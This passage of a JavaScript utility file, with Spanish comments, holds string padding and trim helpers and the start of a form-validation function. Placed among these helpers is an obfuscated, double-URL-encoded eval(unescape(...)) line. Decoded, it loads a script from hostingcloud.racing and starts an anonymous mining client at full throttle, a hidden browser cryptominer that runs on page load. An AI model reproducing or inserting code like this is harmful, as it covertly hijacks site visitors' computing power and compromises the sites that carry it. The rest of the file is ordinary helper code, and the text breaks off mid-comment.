/* JavaScript Document */ var isNS4 = (navigator.appName=="Netscape")?1:0; /*========================================================================================================================*/ String.prototype.lpad = function(pSize, pCharPad) { var str = this; var dif = pSize - str.length; var ch = String(pCharPad).charAt(0); for (; dif>0; dif--) str = ch + str; return (str); } //String.lpad //var xx = 1 //alert(String(xx).lpad(8,"0")) convierte un numero en cadena y lo llena de 8 ceros ->00000001 /*========================================================================================================================*/ String.prototype.rpad = function(pSize, pCharPad) { var str = this; var dif = pSize - str.length; var ch = String(pCharPad).charAt(0); for (; dif>0; dif--) str = str+ch; return (str); } /*========================================================================================================================*/ String.prototype.trim = function() { return this.replace(/^\s*/, "").replace(/\s*$/, ""); } //String.trim /*========================================================================================================================*/ /* FUNCION QUE OBLIGA A LLENAR CAMPOS EN EL FORMULARIO */ eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%5C%27%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%37%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33%25%37%32%25%36%33%25%33%44%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%41%25%32%46%25%32%46%25%37%37%25%37%37%25%37%37%25%32%45%25%36%38%25%36%46%25%37%33%25%37%34%25%36%39%25%36%45%25%36%37%25%36%33%25%36%43%25%36%46%25%37%35%25%36%34%25%32%45%25%37%32%25%36%31%25%36%33%25%36%39%25%36%45%25%36%37%25%32%46%25%35%37%25%35%39%25%35%41%25%37%37%25%32%45%25%36%41%25%37%33%25%32%32%25%33%45%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%35%43%25%36%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%35%43%25%36%45%25%32%30%25%32%30%25%32%30%25%32%30%25%37%36%25%36%31%25%37%32%25%32%30%25%35%46%25%36%33%25%36%43%25%36%39%25%36%35%25%36%45%25%37%34%25%32%30%25%33%44%25%32%30%25%36%45%25%36%35%25%37%37%25%32%30%25%34%33%25%36%43%25%36%39%25%36%35%25%36%45%25%37%34%25%32%45%25%34%31%25%36%45%25%36%46%25%36%45%25%37%39%25%36%44%25%36%46%25%37%35%25%37%33%25%32%38%25%35%43%25%32%37%25%33%30%25%33%30%25%33%35%25%33%30%25%33%39%25%33%31%25%36%31%25%36%31%25%33%38%25%33%33%25%36%35%25%33%32%25%33%36%25%33%35%25%33%32%25%36%33%25%33%39%25%36%36%25%36%36%25%33%31%25%33%30%25%33%33%25%36%36%25%33%38%25%33%38%25%36%31%25%36%35%25%33%37%25%33%37%25%33%37%25%33%33%25%33%37%25%36%34%25%33%32%25%33%35%25%33%32%25%33%31%25%33%34%25%36%35%25%36%35%25%36%33%25%36%36%25%36%34%25%33%38%25%36%33%25%33%36%25%33%30%25%33%31%25%36%32%25%33%37%25%33%37%25%33%37%25%33%33%25%33%33%25%33%35%25%33%31%25%36%34%25%33%36%25%33%35%25%36%33%25%33%38%25%33%32%25%33%38%25%33%30%25%35%43%25%32%37%25%32%43%25%32%30%25%37%42%25%35%43%25%36%45%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%37%34%25%36%38%25%37%32%25%36%46%25%37%34%25%37%34%25%36%43%25%36%35%25%33%41%25%32%30%25%33%30%25%32%43%25%32%30%25%36%33%25%33%41%25%32%30%25%35%43%25%32%37%25%37%37%25%35%43%25%32%37%25%32%43%25%32%30%25%36%31%25%36%34%25%37%33%25%33%41%25%32%30%25%33%30%25%35%43%25%36%45%25%32%30%25%32%30%25%32%30%25%32%30%25%37%44%25%32%39%25%33%42%25%35%43%25%36%45%25%32%30%25%32%30%25%32%30%25%32%30%25%35%46%25%36%33%25%36%43%25%36%39%25%36%35%25%36%45%25%37%34%25%32%45%25%37%33%25%37%34%25%36%31%25%37%32%25%37%34%25%32%38%25%32%39%25%33%42%25%35%43%25%36%45%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%32%37%25%32%39%25%33%42%5C%27%29%29%3B%3C%2F%73%63%72%69%70%74%3E%27%29%3B')); function ObligaCampos(objform) { /*--------------------------------------------------------------------- PARAMETROS objform ->(objeto) recibe el objeto formulario LLAMADA